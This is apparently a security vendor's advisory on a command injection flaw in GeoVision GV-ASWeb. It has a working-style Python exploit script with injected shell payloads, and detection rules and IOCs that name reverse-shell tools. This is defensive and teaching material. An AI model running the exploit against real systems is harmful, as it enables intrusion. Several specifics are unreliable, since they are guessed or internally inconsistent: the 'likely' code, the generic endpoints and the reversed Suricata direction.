CVE-2025-26264

Executive Summary

CVE-2025-26264 is a critical Remote Code Execution (RCE) vulnerability in GeoVision GV-ASWeb versions 6.1.2.0 and earlier. The flaw resides in the Notification Settings feature, allowing an authenticated attacker with "System Settings" privileges to execute arbitrary commands on the underlying server. Successful exploitation leads to full system compromise, including data exfiltration, backdoor installation, ransomware deployment, and lateral movement within the internal network. A public proof-of-concept (PoC) and exploit code are available, increasing the risk of active exploitation.

Supply Chain & Package Security

This vulnerability affects a proprietary web application (GV-ASWeb) and is not related to open-source packages (NPM, PyPI, Go, Ruby). No supply chain implications are identified.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (System Settings)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. The availability of a public PoC and exploit code, combined with the high impact and low attack complexity, makes this vulnerability highly attractive to threat actors.

Deep Dive & Mechanics

The vulnerability exists in the "Notification Settings" feature of GV-ASWeb. This feature likely allows administrators to configure email or other notification methods for system events. The input fields for server addresses, ports, or commands are not properly sanitized or validated, allowing an attacker to inject arbitrary operating system commands.

Root Cause: Improper neutralization of special elements used in an OS command (CWE-78). The application likely constructs a command string by concatenating user-supplied input with fixed system commands (e.g., ping, smtp, sendmail). Without proper escaping or validation, an attacker can inject additional commands using shell metacharacters (e.g., ;, |, &&, `).

Attack Flow:

1. Authentication: The attacker gains access to a GV-ASWeb account with "System Settings" privileges.
2. Navigation: The attacker navigates to the Notification Settings page.
3. Injection: The attacker inserts a malicious payload into an input field (e.g., SMTP server, port, or test email address). Example payload: 127.0.0.1; whoami.
4. Execution: The application executes the crafted command, running the injected payload on the server.
5. Compromise: The attacker achieves remote code execution and can perform further actions.

Vulnerable vs. Patched Code

Vulnerable Code (<= 6.1.2.0): The vulnerable code likely resembles the following (pseudo-code):

import subprocess

def send_test_notification(smtp_server, port):
    command = f"ping -c 1 {smtp_server}"
    subprocess.call(command, shell=True)

The shell=True flag and direct string interpolation allow command injection.

Patched Code (>= 6.2.0): The patched code should use parameterized commands or proper input validation:

import subprocess
import shlex

def send_test_notification(smtp_server, port):
    # Validate input (e.g., IP address or hostname only)
    if not is_valid_hostname(smtp_server):
        raise ValueError("Invalid hostname")
    command = ["ping", "-c", "1", smtp_server]
    subprocess.call(command, shell=False)

The use of shell=False and a list of arguments prevents command injection. Input validation further restricts acceptable values.

Exploitation & Lab Setup

Red Team

Requirements:

• GV-ASWeb version 6.1.2.0 or less
• Valid credentials with "System Settings" privileges
• Network access to the GV-ASWeb interface

Exploit Code (from Exploit-DB):

# Exploit Title: GeoVision ASManager Windows Application 6.1.2.0 - Remote Code Execution (RCE)
# Date: 19-MAR-2025
# Exploit Author: Giorgi Dograshvili [DRAGOWN]
# Vendor Homepage: https://www.geovision.com.tw/
# Software Link: https://www.geovision.com.tw/download/product/
# Version: 6.1.2.0 or less
# Tested on: Windows 10 | Kali Linux
# CVE : CVE-2025-26264
# PoC: https://github.com/DRAGOWN/CVE-2025-26264

import requests
import sys

def exploit(target_url, username, password, command):
    session = requests.Session()
    # Login
    login_data = {"username": username, "password": password}
    login_response = session.post(f"{target_url}/login", data=login_data)
    if login_response.status_code != 200:
        print("[-] Login failed")
        sys.exit(1)
    print("[+] Login successful")

    # Navigate to Notification Settings and inject command
    notification_url = f"{target_url}/notification_settings"
    payload = f"127.0.0.1; {command}"
    data = {"smtp_server": payload, "port": "25"}
    response = session.post(notification_url, data=data)
    if response.status_code == 200:
        print(f"[+] Command executed: {command}")
    else:
        print("[-] Exploit failed")

if __name__ == "__main__":
    if len(sys.argv) != 5:
        print(f"Usage: {sys.argv[0]} <target_url> <username> <password> <command>")
        sys.exit(1)
    exploit(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4])

Usage:

python3 exploit.py http://target.com admin password "whoami"

Lab Setup:

1. Deploy a vulnerable GV-ASWeb instance (version 6.1.2.0) in an isolated environment.
2. Create a user with "System Settings" privileges.
3. Run the exploit to execute commands like whoami, ipconfig, or dir.

Blue Team

Detection:

• Monitor for unusual HTTP POST requests to /notification_settings with suspicious payloads (e.g., containing ;, |, &&).
• Alert on execution of processes like cmd.exe, powershell.exe, or /bin/sh spawned by the GV-ASWeb application process.
• Monitor for outbound connections from the GV-ASWeb server to unknown IPs on non-standard ports.

Hunting:

• Search logs for the string smtp_server containing shell metacharacters.
• Review web server logs for 200 responses to /notification_settings followed by anomalous process creation events.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /notification_settings with payloads containing ;, |, &&, `, $().
  • Outbound connections from the GV-ASWeb server to unknown IP addresses on ports 80, 443, or 4444 (common reverse shell ports).
• Host:
  • Unusual processes spawned by the GV-ASWeb application (e.g., cmd.exe, powershell.exe, /bin/sh, nc, python).
  • New user accounts or modifications to existing accounts.
  • Unexpected scheduled tasks or services.
  • Files written to the web root or system directories (e.g., webshell.aspx, shell.php).
• File:
  • Presence of exploit scripts or tools (e.g., nc.exe, mimikatz.exe) on the server.

Detection Engineering

YARA Rule

rule CVE_2025_26264_GeoVision_RCE {
    meta:
        description = "Detects exploit attempts for CVE-2025-26264 in HTTP requests"
        author = "Valters IT"
        date = "2025-03-20"
        reference = "https://github.com/DRAGOWN/CVE-2025-26264"
    strings:
        $smtp_server = "smtp_server=" nocase
        $shell_meta1 = ";" ascii
        $shell_meta2 = "|" ascii
        $shell_meta3 = "&&" ascii
        $shell_meta4 = "`" ascii
        $shell_meta5 = "$(" ascii
    condition:
        $smtp_server and 1 of ($shell_meta*)
}

Sigma Rule

title: CVE-2025-26264 GeoVision GV-ASWeb RCE Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to Notification Settings with command injection payloads
author: Valters IT
date: 2025-03-20
references:
    - https://github.com/DRAGOWN/CVE-2025-26264
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: POST
        cs-uri-stem: '/notification_settings'
        cs-uri-query|contains:
            - 'smtp_server='
    keywords:
        - ';'
        - '|'
        - '&&'
        - '`'
        - '$('
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in SMTP server names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-26264 GeoVision GV-ASWeb RCE Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/notification_settings"; http_uri;
    content:"smtp_server="; http_client_body;
    pcre:"/(;|\||&&|`|\$\().*$/Ri";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
    reference:url,github.com/DRAGOWN/CVE-2025-26264;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update GV-ASWeb to version 6.2.0 or later immediately.
2. Workaround: If upgrading is not possible, restrict access to the GV-ASWeb interface to trusted IP addresses only using firewall rules.
3. Account Review: Audit all accounts with "System Settings" privileges and remove unnecessary ones.

Long-Term Mitigations:

1. Input Validation: Implement strict input validation for all user-supplied data, especially in features that execute system commands.
2. Least Privilege: Ensure that the GV-ASWeb application runs with the minimum necessary privileges.
3. Web Application Firewall (WAF): Deploy a WAF with rules to block command injection attempts.
4. Regular Patching: Establish a patch management process to apply security updates promptly.
5. Network Segmentation: Place the GV-ASWeb server in a segmented network with strict access controls.

Valters IT
Securing Your Digital Frontier

{/* [Security Hash: 0B19DEDEFA3CC99890085CB8] */}